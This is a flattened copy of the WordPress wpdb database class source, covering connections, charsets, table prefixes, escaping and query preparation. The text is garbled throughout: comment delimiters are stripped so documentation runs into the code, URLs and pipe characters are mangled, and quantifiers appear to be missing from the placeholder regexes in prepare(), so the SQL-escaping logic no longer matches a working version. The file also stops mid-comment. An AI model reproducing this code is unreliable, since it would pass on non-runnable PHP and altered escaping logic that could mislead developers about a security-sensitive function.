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<?php /* * * WordPress database access abstraction class. * * Original code from {@link http:php.justinvincent.com Justin Vincent (justin@visunet.ie)} * * @package WordPress * @subpackage Database * @since 0.71 * * @since 0.71 define( 'EZSQL_VERSION', 'WP1.25' ); * * @since 0.71 define( 'OBJECT', 'OBJECT' ); phpcs:ignore Generic.NamingConventions.UpperCaseConstantName.ConstantNotUpperCase define( 'object', 'OBJECT' ); Back compat. * * @since 2.5.0 define( 'OBJECT_K', 'OBJECT_K' ); * * @since 0.71 define( 'ARRAY_A', 'ARRAY_A' ); * * @since 0.71 define( 'ARRAY_N', 'ARRAY_N' ); * * WordPress database access abstraction class. * * This class is used to interact with a database without needing to use raw SQL statements. * By default, WordPress uses this class to instantiate the global $wpdb object, providing * access to the WordPress database. * * It is possible to replace this class with your own by setting the $wpdb global variable * in wp-content/db.php file to your class. The wpdb class will still be included, so you can * extend it or simply use your own. * * @link https:developer.wordpress.org/reference/classes/wpdb/ * * @since 0.71 #[AllowDynamicProperties] class wpdb { * * Whether to show SQL/DB errors. * * Default is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY evaluate to true. * * @since 0.71 * * @var bool public $show_errors = false; * * Whether to suppress errors during the DB bootstrapping. Default false. * * @since 2.5.0 * * @var bool public $suppress_errors = false; * * The error encountered during the last query. * * @since 2.5.0 * * @var string public $last_error = ''; * * The number of queries made. * * @since 1.2.0 * * @var int public $num_queries = 0; * * Count of rows returned by the last query. * * @since 0.71 * * @var int public $num_rows = 0; * * Count of rows affected by the last query. * * @since 0.71 * * @var int public $rows_affected = 0; * * The ID generated for an AUTO_INCREMENT column by the last query (usually INSERT). * * @since 0.71 * * @var int public $insert_id = 0; * * The last query made. * * @since 0.71 * * @var string public $last_query; * * Results of the last query. * * @since 0.71 * * @var stdClass[]\|null public $last_result; * * Database query result. * * Possible values: * * - For successful SELECT, SHOW, DESCRIBE, or EXPLAIN queries: * - `mysqli_result` instance when the `mysqli` driver is in use * - `resource` when the older `mysql` driver is in use * - `true` for other query types that were successful * - `null` if a query is yet to be made or if the result has since been flushed * - `false` if the query returned an error * * @since 0.71 * * @var mysqli_result\|resource\|bool\|null protected $result; * * Cached column info, for sanity checking data before inserting. * * @since 4.2.0 * * @var array protected $col_meta = array(); * * Calculated character sets keyed by table name. * * @since 4.2.0 * * @var string[] protected $table_charset = array(); * * Whether text fields in the current query need to be sanity checked. * * @since 4.2.0 * * @var bool protected $check_current_query = true; * * Flag to ensure we don't run into recursion problems when checking the collation. * * @since 4.2.0 * * @see wpdb::check_safe_collation() * @var bool private $checking_collation = false; * * Saved info on the table column. * * @since 0.71 * * @var array protected $col_info; * * Log of queries that were executed, for debugging purposes. * * @since 1.5.0 * @since 2.5.0 The third element in each query log was added to record the calling functions. * @since 5.1.0 The fourth element in each query log was added to record the start time. * @since 5.3.0 The fifth element in each query log was added to record custom data. * * @var array[] { * Array of arrays containing information about queries that were executed. * * @type array ...$0 { * Data for each query. * * @type string $0 The query's SQL. * @type float $1 Total time spent on the query, in seconds. * @type string $2 Comma-separated list of the calling functions. * @type float $3 Unix timestamp of the time at the start of the query. * @type array $4 Custom query data. * } * } public $queries; * * The number of times to retry reconnecting before dying. Default 5. * * @since 3.9.0 * * @see wpdb::check_connection() * @var int protected $reconnect_retries = 5; * * WordPress table prefix. * * You can set this to have multiple WordPress installations in a single database. * The second reason is for possible security precautions. * * @since 2.5.0 * * @var string public $prefix = ''; * * WordPress base table prefix. * * @since 3.0.0 * * @var string public $base_prefix; * * Whether the database queries are ready to start executing. * * @since 2.3.2 * * @var bool public $ready = false; * * Blog ID. * * @since 3.0.0 * * @var int public $blogid = 0; * * Site ID. * * @since 3.0.0 * * @var int public $siteid = 0; * * List of WordPress per-site tables. * * @since 2.5.0 * * @see wpdb::tables() * @var string[] public $tables = array( 'posts', 'comments', 'links', 'options', 'postmeta', 'terms', 'term_taxonomy', 'term_relationships', 'termmeta', 'commentmeta', ); * * List of deprecated WordPress tables. * * 'categories', 'post2cat', and 'link2cat' were deprecated in 2.3.0, db version 5539. * * @since 2.9.0 * * @see wpdb::tables() * @var string[] public $old_tables = array( 'categories', 'post2cat', 'link2cat' ); * * List of WordPress global tables. * * @since 3.0.0 * * @see wpdb::tables() * @var string[] public $global_tables = array( 'users', 'usermeta' ); * * List of Multisite global tables. * * @since 3.0.0 * * @see wpdb::tables() * @var string[] public $ms_global_tables = array( 'blogs', 'blogmeta', 'signups', 'site', 'sitemeta', 'registration_log', ); * * List of deprecated WordPress Multisite global tables. * * @since 6.1.0 * * @see wpdb::tables() * @var string[] public $old_ms_global_tables = array( 'sitecategories' ); * * WordPress Comments table. * * @since 1.5.0 * * @var string public $comments; * * WordPress Comment Metadata table. * * @since 2.9.0 * * @var string public $commentmeta; * * WordPress Links table. * * @since 1.5.0 * * @var string public $links; * * WordPress Options table. * * @since 1.5.0 * * @var string public $options; * * WordPress Post Metadata table. * * @since 1.5.0 * * @var string public $postmeta; * * WordPress Posts table. * * @since 1.5.0 * * @var string public $posts; * * WordPress Terms table. * * @since 2.3.0 * * @var string public $terms; * * WordPress Term Relationships table. * * @since 2.3.0 * * @var string public $term_relationships; * * WordPress Term Taxonomy table. * * @since 2.3.0 * * @var string public $term_taxonomy; * * WordPress Term Meta table. * * @since 4.4.0 * * @var string public $termmeta; Global and Multisite tables * * WordPress User Metadata table. * * @since 2.3.0 * * @var string public $usermeta; * * WordPress Users table. * * @since 1.5.0 * * @var string public $users; * * Multisite Blogs table. * * @since 3.0.0 * * @var string public $blogs; * * Multisite Blog Metadata table. * * @since 5.1.0 * * @var string public $blogmeta; * * Multisite Registration Log table. * * @since 3.0.0 * * @var string public $registration_log; * * Multisite Signups table. * * @since 3.0.0 * * @var string public $signups; * * Multisite Sites table. * * @since 3.0.0 * * @var string public $site; * * Multisite Sitewide Terms table. * * @since 3.0.0 * * @var string public $sitecategories; * * Multisite Site Metadata table. * * @since 3.0.0 * * @var string public $sitemeta; * * Format specifiers for DB columns. * * Columns not listed here default to %s. Initialized during WP load. * Keys are column names, values are format types: 'ID' => '%d'. * * @since 2.8.0 * * @see wpdb::prepare() * @see wpdb::insert() * @see wpdb::update() * @see wpdb::delete() * @see wp_set_wpdb_vars() * @var array public $field_types = array(); * * Database table columns charset. * * @since 2.2.0 * * @var string public $charset; * * Database table columns collate. * * @since 2.2.0 * * @var string public $collate; * * Database Username. * * @since 2.9.0 * * @var string protected $dbuser; * * Database Password. * * @since 3.1.0 * * @var string protected $dbpassword; * * Database Name. * * @since 3.1.0 * * @var string protected $dbname; * * Database Host. * * @since 3.1.0 * * @var string protected $dbhost; * * Database handle. * * Possible values: * * - `mysqli` instance when the `mysqli` driver is in use * - `resource` when the older `mysql` driver is in use * - `null` if the connection is yet to be made or has been closed * - `false` if the connection has failed * * @since 0.71 * * @var mysqli\|resource\|false\|null protected $dbh; * * A textual description of the last query/get_row/get_var call. * * @since 3.0.0 * * @var string public $func_call; * * Whether MySQL is used as the database engine. * * Set in wpdb::db_connect() to true, by default. This is used when checking * against the required MySQL version for WordPress. Normally, a replacement * database drop-in (db.php) will skip these checks, but setting this to true * will force the checks to occur. * * @since 3.3.0 * * @var bool public $is_mysql = null; * * A list of incompatible SQL modes. * * @since 3.9.0 * * @var string[] protected $incompatible_modes = array( 'NO_ZERO_DATE', 'ONLY_FULL_GROUP_BY', 'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', 'TRADITIONAL', 'ANSI', ); * * Whether to use mysqli over mysql. Default false. * * @since 3.9.0 * * @var bool private $use_mysqli = false; * * Whether we've managed to successfully connect at some point. * * @since 3.9.0 * * @var bool private $has_connected = false; * * Time when the last query was performed. * * Only set when `SAVEQUERIES` is defined and truthy. * * @since 1.5.0 * * @var float public $time_start = null; * * The last SQL error that was encountered. * * @since 2.5.0 * * @var WP_Error\|string public $error = null; * * Connects to the database server and selects a database. * * Does the actual setting up * of the class properties and connection to the database. * * @since 2.0.8 * * @link https:core.trac.wordpress.org/ticket/3354 * * @param string $dbuser Database user. * @param string $dbpassword Database password. * @param string $dbname Database name. * @param string $dbhost Database host. public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) { if ( WP_DEBUG && WP_DEBUG_DISPLAY ) { $this->show_errors(); } Use the `mysqli` extension if it exists unless `WP_USE_EXT_MYSQL` is defined as true. if ( function_exists( 'mysqli_connect' ) ) { $this->use_mysqli = true; if ( defined( 'WP_USE_EXT_MYSQL' ) ) { $this->use_mysqli = ! WP_USE_EXT_MYSQL; } } $this->dbuser = $dbuser; $this->dbpassword = $dbpassword; $this->dbname = $dbname; $this->dbhost = $dbhost; wp-config.php creation will manually connect when ready. if ( defined( 'WP_SETUP_CONFIG' ) ) { return; } $this->db_connect(); } * * Makes private properties readable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to get, and optionally process. * @return mixed The private member. public function __get( $name ) { if ( 'col_info' === $name ) { $this->load_col_info(); } return $this->$name; } * * Makes private properties settable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to set. * @param mixed $value The value to set. public function __set( $name, $value ) { $protected_members = array( 'col_meta', 'table_charset', 'check_current_query', ); if ( in_array( $name, $protected_members, true ) ) { return; } $this->$name = $value; } * * Makes private properties check-able for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to check. * @return bool If the member is set or not. public function __isset( $name ) { return isset( $this->$name ); } * * Makes private properties un-settable for backward compatibility. * * @since 3.5.0 * * @param string $name The private member to unset public function __unset( $name ) { unset( $this->$name ); } * * Sets $this->charset and $this->collate. * * @since 3.1.0 public function init_charset() { $charset = ''; $collate = ''; if ( function_exists( 'is_multisite' ) && is_multisite() ) { $charset = 'utf8'; if ( defined( 'DB_COLLATE' ) && DB_COLLATE ) { $collate = DB_COLLATE; } else { $collate = 'utf8_general_ci'; } } elseif ( defined( 'DB_COLLATE' ) ) { $collate = DB_COLLATE; } if ( defined( 'DB_CHARSET' ) ) { $charset = DB_CHARSET; } $charset_collate = $this->determine_charset( $charset, $collate ); $this->charset = $charset_collate['charset']; $this->collate = $charset_collate['collate']; } * * Determines the best charset and collation to use given a charset and collation. * * For example, when able, utf8mb4 should be used instead of utf8. * * @since 4.6.0 * * @param string $charset The character set to check. * @param string $collate The collation to check. * @return array { * The most appropriate character set and collation to use. * * @type string $charset Character set. * @type string $collate Collation. * } public function determine_charset( $charset, $collate ) { if ( ( $this->use_mysqli && ! ( $this->dbh instanceof mysqli ) ) \|\| empty( $this->dbh ) ) { return compact( 'charset', 'collate' ); } if ( 'utf8' === $charset && $this->has_cap( 'utf8mb4' ) ) { $charset = 'utf8mb4'; } if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) { $charset = 'utf8'; $collate = str_replace( 'utf8mb4_', 'utf8_', $collate ); } if ( 'utf8mb4' === $charset ) { _general_ is outdated, so we can upgrade it to _unicode_, instead. if ( ! $collate \|\| 'utf8_general_ci' === $collate ) { $collate = 'utf8mb4_unicode_ci'; } else { $collate = str_replace( 'utf8_', 'utf8mb4_', $collate ); } } _unicode_520_ is a better collation, we should use that when it's available. if ( $this->has_cap( 'utf8mb4_520' ) && 'utf8mb4_unicode_ci' === $collate ) { $collate = 'utf8mb4_unicode_520_ci'; } return compact( 'charset', 'collate' ); } * * Sets the connection's character set. * * @since 3.1.0 * * @param mysqli\|resource $dbh The connection returned by `mysqli_connect()` or `mysql_connect()`. * @param string $charset Optional. The character set. Default null. * @param string $collate Optional. The collation. Default null. public function set_charset( $dbh, $charset = null, $collate = null ) { if ( ! isset( $charset ) ) { $charset = $this->charset; } if ( ! isset( $collate ) ) { $collate = $this->collate; } if ( $this->has_cap( 'collation' ) && ! empty( $charset ) ) { $set_charset_succeeded = true; if ( $this->use_mysqli ) { if ( function_exists( 'mysqli_set_charset' ) && $this->has_cap( 'set_charset' ) ) { $set_charset_succeeded = mysqli_set_charset( $dbh, $charset ); } if ( $set_charset_succeeded ) { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) { $query .= $this->prepare( ' COLLATE %s', $collate ); } mysqli_query( $dbh, $query ); } } else { if ( function_exists( 'mysql_set_charset' ) && $this->has_cap( 'set_charset' ) ) { $set_charset_succeeded = mysql_set_charset( $charset, $dbh ); } if ( $set_charset_succeeded ) { $query = $this->prepare( 'SET NAMES %s', $charset ); if ( ! empty( $collate ) ) { $query .= $this->prepare( ' COLLATE %s', $collate ); } mysql_query( $query, $dbh ); } } } } * * Changes the current SQL mode, and ensures its WordPress compatibility. * * If no modes are passed, it will ensure the current MySQL server modes are compatible. * * @since 3.9.0 * * @param array $modes Optional. A list of SQL modes to set. Default empty array. public function set_sql_mode( $modes = array() ) { if ( empty( $modes ) ) { if ( $this->use_mysqli ) { $res = mysqli_query( $this->dbh, 'SELECT @@SESSION.sql_mode' ); } else { $res = mysql_query( 'SELECT @@SESSION.sql_mode', $this->dbh ); } if ( empty( $res ) ) { return; } if ( $this->use_mysqli ) { $modes_array = mysqli_fetch_array( $res ); if ( empty( $modes_array[0] ) ) { return; } $modes_str = $modes_array[0]; } else { $modes_str = mysql_result( $res, 0 ); } if ( empty( $modes_str ) ) { return; } $modes = explode( ',', $modes_str ); } $modes = array_change_key_case( $modes, CASE_UPPER ); * * Filters the list of incompatible SQL modes to exclude. * * @since 3.9.0 * * @param array $incompatible_modes An array of incompatible modes. $incompatible_modes = (array) apply_filters( 'incompatible_sql_modes', $this->incompatible_modes ); foreach ( $modes as $i => $mode ) { if ( in_array( $mode, $incompatible_modes, true ) ) { unset( $modes[ $i ] ); } } $modes_str = implode( ',', $modes ); if ( $this->use_mysqli ) { mysqli_query( $this->dbh, "SET SESSION sql_mode='$modes_str'" ); } else { mysql_query( "SET SESSION sql_mode='$modes_str'", $this->dbh ); } } * * Sets the table prefix for the WordPress tables. * * @since 2.5.0 * * @param string $prefix Alphanumeric name for the new prefix. * @param bool $set_table_names Optional. Whether the table names, e.g. wpdb::$posts, * should be updated or not. Default true. * @return string\|WP_Error Old prefix or WP_Error on error. public function set_prefix( $prefix, $set_table_names = true ) { if ( preg_match( '\|[^a-z0-9_]\|i', $prefix ) ) { return new WP_Error( 'invalid_db_prefix', 'Invalid database prefix' ); } $old_prefix = is_multisite() ? '' : $prefix; if ( isset( $this->base_prefix ) ) { $old_prefix = $this->base_prefix; } $this->base_prefix = $prefix; if ( $set_table_names ) { foreach ( $this->tables( 'global' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } if ( is_multisite() && empty( $this->blogid ) ) { return $old_prefix; } $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } } return $old_prefix; } * * Sets blog ID. * * @since 3.0.0 * * @param int $blog_id * @param int $network_id Optional. * @return int Previous blog ID. public function set_blog_id( $blog_id, $network_id = 0 ) { if ( ! empty( $network_id ) ) { $this->siteid = $network_id; } $old_blog_id = $this->blogid; $this->blogid = $blog_id; $this->prefix = $this->get_blog_prefix(); foreach ( $this->tables( 'blog' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } foreach ( $this->tables( 'old' ) as $table => $prefixed_table ) { $this->$table = $prefixed_table; } return $old_blog_id; } * * Gets blog prefix. * * @since 3.0.0 * * @param int $blog_id Optional. * @return string Blog prefix. public function get_blog_prefix( $blog_id = null ) { if ( is_multisite() ) { if ( null === $blog_id ) { $blog_id = $this->blogid; } $blog_id = (int) $blog_id; if ( defined( 'MULTISITE' ) && ( 0 === $blog_id \|\| 1 === $blog_id ) ) { return $this->base_prefix; } else { return $this->base_prefix . $blog_id . '_'; } } else { return $this->base_prefix; } } * * Returns an array of WordPress tables. * * Also allows for the `CUSTOM_USER_TABLE` and `CUSTOM_USER_META_TABLE` to override the WordPress users * and usermeta tables that would otherwise be determined by the prefix. * * The `$scope` argument can take one of the following: * * - 'all' - returns 'all' and 'global' tables. No old tables are returned. * - 'blog' - returns the blog-level tables for the queried blog. * - 'global' - returns the global tables for the installation, returning multisite tables only on multisite. * - 'ms_global' - returns the multisite global tables, regardless if current installation is multisite. * - 'old' - returns tables which are deprecated. * * @since 3.0.0 * @since 6.1.0 `old` now includes deprecated multisite global tables only on multisite. * * @uses wpdb::$tables * @uses wpdb::$old_tables * @uses wpdb::$global_tables * @uses wpdb::$ms_global_tables * @uses wpdb::$old_ms_global_tables * * @param string $scope Optional. Possible values include 'all', 'global', 'ms_global', 'blog', * or 'old' tables. Default 'all'. * @param bool $prefix Optional. Whether to include table prefixes. If blog prefix is requested, * then the custom users and usermeta tables will be mapped. Default true. * @param int $blog_id Optional. The blog_id to prefix. Used only when prefix is requested. * Defaults to `wpdb::$blogid`. * @return string[] Table names. When a prefix is requested, the key is the unprefixed table name. public function tables( $scope = 'all', $prefix = true, $blog_id = 0 ) { switch ( $scope ) { case 'all': $tables = array_merge( $this->global_tables, $this->tables ); if ( is_multisite() ) { $tables = array_merge( $tables, $this->ms_global_tables ); } break; case 'blog': $tables = $this->tables; break; case 'global': $tables = $this->global_tables; if ( is_multisite() ) { $tables = array_merge( $tables, $this->ms_global_tables ); } break; case 'ms_global': $tables = $this->ms_global_tables; break; case 'old': $tables = $this->old_tables; if ( is_multisite() ) { $tables = array_merge( $tables, $this->old_ms_global_tables ); } break; default: return array(); } if ( $prefix ) { if ( ! $blog_id ) { $blog_id = $this->blogid; } $blog_prefix = $this->get_blog_prefix( $blog_id ); $base_prefix = $this->base_prefix; $global_tables = array_merge( $this->global_tables, $this->ms_global_tables ); foreach ( $tables as $k => $table ) { if ( in_array( $table, $global_tables, true ) ) { $tables[ $table ] = $base_prefix . $table; } else { $tables[ $table ] = $blog_prefix . $table; } unset( $tables[ $k ] ); } if ( isset( $tables['users'] ) && defined( 'CUSTOM_USER_TABLE' ) ) { $tables['users'] = CUSTOM_USER_TABLE; } if ( isset( $tables['usermeta'] ) && defined( 'CUSTOM_USER_META_TABLE' ) ) { $tables['usermeta'] = CUSTOM_USER_META_TABLE; } } return $tables; } * * Selects a database using the current or provided database connection. * * The database name will be changed based on the current database connection. * On failure, the execution will bail and display a DB error. * * @since 0.71 * * @param string $db Database name. * @param mysqli\|resource $dbh Optional database connection. public function select( $db, $dbh = null ) { if ( is_null( $dbh ) ) { $dbh = $this->dbh; } if ( $this->use_mysqli ) { $success = mysqli_select_db( $dbh, $db ); } else { $success = mysql_select_db( $db, $dbh ); } if ( ! $success ) { $this->ready = false; if ( ! did_action( 'template_redirect' ) ) { wp_load_translations_early(); $message = '<h1>' . __( 'Cannot select database' ) . "</h1>\n"; $message .= '<p>' . sprintf( translators: %s: Database name. __( 'The database server could be connected to (which means your username and password is okay) but the %s database could not be selected.' ), '<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>' ) . "</p>\n"; $message .= "<ul>\n"; $message .= '<li>' . __( 'Are you sure it exists?' ) . "</li>\n"; $message .= '<li>' . sprintf( translators: 1: Database user, 2: Database name. __( 'Does the user %1$s have permission to use the %2$s database?' ), '<code>' . htmlspecialchars( $this->dbuser, ENT_QUOTES ) . '</code>', '<code>' . htmlspecialchars( $db, ENT_QUOTES ) . '</code>' ) . "</li>\n"; $message .= '<li>' . sprintf( translators: %s: Database name. __( 'On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?' ), htmlspecialchars( $db, ENT_QUOTES ) ) . "</li>\n"; $message .= "</ul>\n"; $message .= '<p>' . sprintf( translators: %s: Support forums URL. __( 'If you do not know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href="%s">WordPress Support Forums</a>.' ), __( 'https:wordpress.org/support/forums/' ) ) . "</p>\n"; $this->bail( $message, 'db_select_fail' ); } } } * * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 2.8.0 * @deprecated 3.6.0 Use wpdb::prepare() * @see wpdb::prepare() * @see esc_sql() * * @param string $string * @return string public function _weak_escape( $string ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) { _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' ); } return addslashes( $string ); } * * Real escape, using mysqli_real_escape_string() or mysql_real_escape_string(). * * @since 2.8.0 * * @see mysqli_real_escape_string() * @see mysql_real_escape_string() * * @param string $string String to escape. * @return string Escaped string. public function _real_escape( $string ) { if ( ! is_scalar( $string ) ) { return ''; } if ( $this->dbh ) { if ( $this->use_mysqli ) { $escaped = mysqli_real_escape_string( $this->dbh, $string ); } else { $escaped = mysql_real_escape_string( $string, $this->dbh ); } } else { $class = get_class( $this ); wp_load_translations_early(); translators: %s: Database access abstraction class, usually wpdb or a class extending wpdb. _doing_it_wrong( $class, sprintf( __( '%s must set a database connection for use with escaping.' ), $class ), '3.6.0' ); $escaped = addslashes( $string ); } return $this->add_placeholder_escape( $escaped ); } * * Escapes data. Works on arrays. * * @since 2.8.0 * * @uses wpdb::_real_escape() * * @param string\|array $data Data to escape. * @return string\|array Escaped data, in the same type as supplied. public function _escape( $data ) { if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array( $v ) ) { $data[ $k ] = $this->_escape( $v ); } else { $data[ $k ] = $this->_real_escape( $v ); } } } else { $data = $this->_real_escape( $data ); } return $data; } * * Do not use, deprecated. * * Use esc_sql() or wpdb::prepare() instead. * * @since 0.71 * @deprecated 3.6.0 Use wpdb::prepare() * @see wpdb::prepare() * @see esc_sql() * * @param string\|array $data Data to escape. * @return string\|array Escaped data, in the same type as supplied. public function escape( $data ) { if ( func_num_args() === 1 && function_exists( '_deprecated_function' ) ) { _deprecated_function( __METHOD__, '3.6.0', 'wpdb::prepare() or esc_sql()' ); } if ( is_array( $data ) ) { foreach ( $data as $k => $v ) { if ( is_array( $v ) ) { $data[ $k ] = $this->escape( $v, 'recursive' ); } else { $data[ $k ] = $this->_weak_escape( $v, 'internal' ); } } } else { $data = $this->_weak_escape( $data, 'internal' ); } return $data; } * * Escapes content by reference for insertion into the database, for security. * * @uses wpdb::_real_escape() * * @since 2.3.0 * * @param string $string String to escape. public function escape_by_ref( &$string ) { if ( ! is_float( $string ) ) { $string = $this->_real_escape( $string ); } } * * Prepares a SQL query for safe execution. * * Uses sprintf()-like syntax. The following placeholders can be used in the query string: * * - %d (integer) * - %f (float) * - %s (string) * * All placeholders MUST be left unquoted in the query string. A corresponding argument * MUST be passed for each placeholder. * * Note: There is one exception to the above: for compatibility with old behavior, * numbered or formatted string placeholders (eg, `%1$s`, `%5s`) will not have quotes * added by this function, so should be passed with appropriate quotes around them. * * Literal percentage signs (`%`) in the query string must be written as `%%`. Percentage wildcards * (for example, to use in LIKE syntax) must be passed via a substitution argument containing * the complete LIKE string, these cannot be inserted directly in the query string. * Also see wpdb::esc_like(). * * Arguments may be passed as individual arguments to the method, or as a single array * containing all arguments. A combination of the two is not supported. * * Examples: * * $wpdb->prepare( * "SELECT * FROM `table` WHERE `column` = %s AND `field` = %d OR `other_field` LIKE %s", * array( 'foo', 1337, '%bar' ) * ); * * $wpdb->prepare( * "SELECT DATE_FORMAT(`field`, '%%c') FROM `table` WHERE `column` = %s", * 'foo' * ); * * @since 2.3.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by updating the function signature. The second parameter was changed * from `$args` to `...$args`. * * @link https:www.php.net/sprintf Description of syntax. * * @param string $query Query statement with sprintf()-like placeholders. * @param array\|mixed $args The array of variables to substitute into the query's placeholders * if being called with an array of arguments, or the first variable * to substitute into the query's placeholders if being called with * individual arguments. * @param mixed ...$args Further variables to substitute into the query's placeholders * if being called with individual arguments. * @return string\|void Sanitized query string, if there is a query to prepare. public function prepare( $query, ...$args ) { if ( is_null( $query ) ) { return; } This is not meant to be foolproof -- but it will catch obviously incorrect usage. if ( strpos( $query, '%' ) === false ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( translators: %s: wpdb::prepare() __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' ); } If args were passed as an array (as in vsprintf), move them up. $passed_as_array = false; if ( isset( $args[0] ) && is_array( $args[0] ) && 1 === count( $args ) ) { $passed_as_array = true; $args = $args[0]; } foreach ( $args as $arg ) { if ( ! is_scalar( $arg ) && ! is_null( $arg ) ) { wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( translators: %s: Value type. __( 'Unsupported value type (%s).' ), gettype( $arg ) ), '4.8.2' ); } } * Specify the formatting allowed in a placeholder. The following are allowed: * * - Sign specifier, e.g. $+d * - Numbered placeholders, e.g. %1$s * - Padding specifier, including custom padding characters, e.g. %05s, %'#5s * - Alignment specifier, e.g. %05-s * - Precision specifier, e.g. %.2f $allowed_format = '(?:[1-9][0-9][$])?[-+0-9](?: \|0\|\'.)?[-+0-9](?:\.[0-9]+)?'; If a %s placeholder already has quotes around it, removing the existing quotes * and re-inserting them ensures the quotes are consistent. * * For backward compatibility, this is only applied to %s, and not to placeholders like %1$s, * which are frequently used in the middle of longer strings, or as table name placeholders. $query = str_replace( "'%s'", '%s', $query ); Strip any existing single quotes. $query = str_replace( '"%s"', '%s', $query ); Strip any existing double quotes. $query = preg_replace( '/(?<!%)%s/', "'%s'", $query ); Quote the strings, avoiding escaped strings like %%s. $query = preg_replace( "/(?<!%)(%($allowed_format)?f)/", '%\\2F', $query ); Force floats to be locale-unaware. $query = preg_replace( "/%(?:%\|$\|(?!($allowed_format)?[sdF]))/", '%%\\1', $query ); Escape any unescaped percents. Count the number of valid placeholders in the query. $placeholders = preg_match_all( "/(^\|[^%]\|(%%)+)%($allowed_format)?[sdF]/", $query, $matches ); $args_count = count( $args ); if ( $args_count !== $placeholders ) { if ( 1 === $placeholders && $passed_as_array ) { If the passed query only expected one argument, but the wrong number of arguments were sent as an array, bail. wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', __( 'The query only expected one placeholder, but an array of multiple placeholders was sent.' ), '4.9.0' ); return; } else { * If we don't have the right number of placeholders, * but they were passed as individual arguments, * or we were expecting multiple arguments in an array, throw a warning. wp_load_translations_early(); _doing_it_wrong( 'wpdb::prepare', sprintf( translators: 1: Number of placeholders, 2: Number of arguments passed. __( 'The query does not contain the correct number of placeholders (%1$d) for the number of arguments passed (%2$d).' ), $placeholders, $args_count ), '4.8.3' ); * If we don't have enough arguments to match the placeholders, * return an empty string to avoid a fatal error on PHP 8. if ( $args_count < $placeholders ) { $max_numbered_placeholder = ! empty( $matches[3] ) ? max( array_map( 'intval', $matches[3] ) ) : 0; if ( ! $max_numbered_placeholder \|\| $args_count < $max_numbered_placeholder ) { return ''; } } } } array_walk( $args, array( $this, 'escape_by_ref' ) ); $query = vsprintf( $query, $args ); return $this->add_placeholder_escape( $query ); } * * First half of escaping for `LIKE` special characters `%` and `_` before preparing for SQL. * * Use this only before wpdb::prepare() or esc_sql(). Reversing the order is very bad for security. * * Example Prepared Statement: * * $wild = '%'; * $find = 'only 43% of planets'; * $like = $wild . $wpdb->esc_like( $find ) . $wild; * $sql = $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_content LIKE %s", $like ); * * Example Escape Chain: * * $sql = esc_sql( $wpdb->esc_like( $input ) ); * * @since 4.0.0 * * @param string $text The raw text to be escaped. The input typed by the user * should have no extra or deleted slashes. * @return string Text in the form of a LIKE phrase. The output is not SQL safe. * Call wpdb::prepare() or wpdb::_real_escape() next. public function esc_like( $text ) { return addcslashes( $text, '_%\\' ); } * * Prints SQL/DB error. * * @since 0.71 * * @global array $EZSQL_ERROR Stores error information of query and error string. * * @param string $str The error to display. * @return void\|false Void if the showing of errors is enabled, false if disabled. public function print_error( $str = '' ) { global $EZSQL_ERROR; if ( ! $str ) { if ( $this->use_mysqli ) { $str = mysqli_error( $this->dbh ); } else { $str = mysql_error( $this->dbh ); } } $EZSQL_ERROR[] = array( 'query' => $this->last_query, 'error_str' => $str, ); if ( $this->suppress_errors ) { return false; } $caller = $this->get_caller(); if ( $caller ) { Not translated, as this will only appear in the error log. $error_str = sprintf( 'WordPress database error %1$s for query %2$s made by %3$s', $str, $this->last_query, $caller ); } else { $error_str = sprintf( 'WordPress database error %1$s for query %2$s', $str, $this->last_query ); } error_log( $error_str ); Are we showing errors? if ( ! $this->show_errors ) { return false; } wp_load_translations_early(); If there is an error then take note of it. if ( is_multisite() ) { $msg = sprintf( "%s [%s]\n%s\n", __( 'WordPress database error:' ), $str, $this->last_query ); if ( defined( 'ERRORLOGFILE' ) ) { error_log( $msg, 3, ERRORLOGFILE ); } if ( defined( 'DIEONDBERROR' ) ) { wp_die( $msg ); } } else { $str = htmlspecialchars( $str, ENT_QUOTES ); $query = htmlspecialchars( $this->last_query, ENT_QUOTES ); printf( '<div id="error"><p class="wpdberror"><strong>%s</strong> [%s]<br /><code>%s</code></p></div>', __( 'WordPress database error:' ), $str, $query ); } } * * Enables showing of database errors. * * This function should be used only to enable showing of errors. * wpdb::hide_errors() should be used instead for hiding errors. * * @since 0.71 * * @see wpdb::hide_errors() * * @param bool $show Optional. Whether to show errors. Default true. * @return bool Whether showing of errors was previously active. public function show_errors( $show = true ) { $errors = $this->show_errors; $this->show_errors = $show; return $errors; } * * Disables showing of database errors. * * By default database errors are not shown. * * @since 0.71 * * @see wpdb::show_errors() * * @return bool Whether showing of errors was previously active. public function hide_errors() { $show = $this->show_errors; $this->show_errors = false; return $show; } * * Enables or disables suppressing of database errors. * * By default database errors are suppressed. * * @since 2.5.0 * * @see wpdb::hide_errors() * * @param bool $suppress Optional. Whether to suppress errors. Default true. * @return bool Whether suppressing of errors was previously active. public function suppress_errors( $suppress = true ) { $errors = $this->suppress_errors; $this->suppress_errors = (bool) $suppress; return $errors; } * * Kills cached query results. * * @since 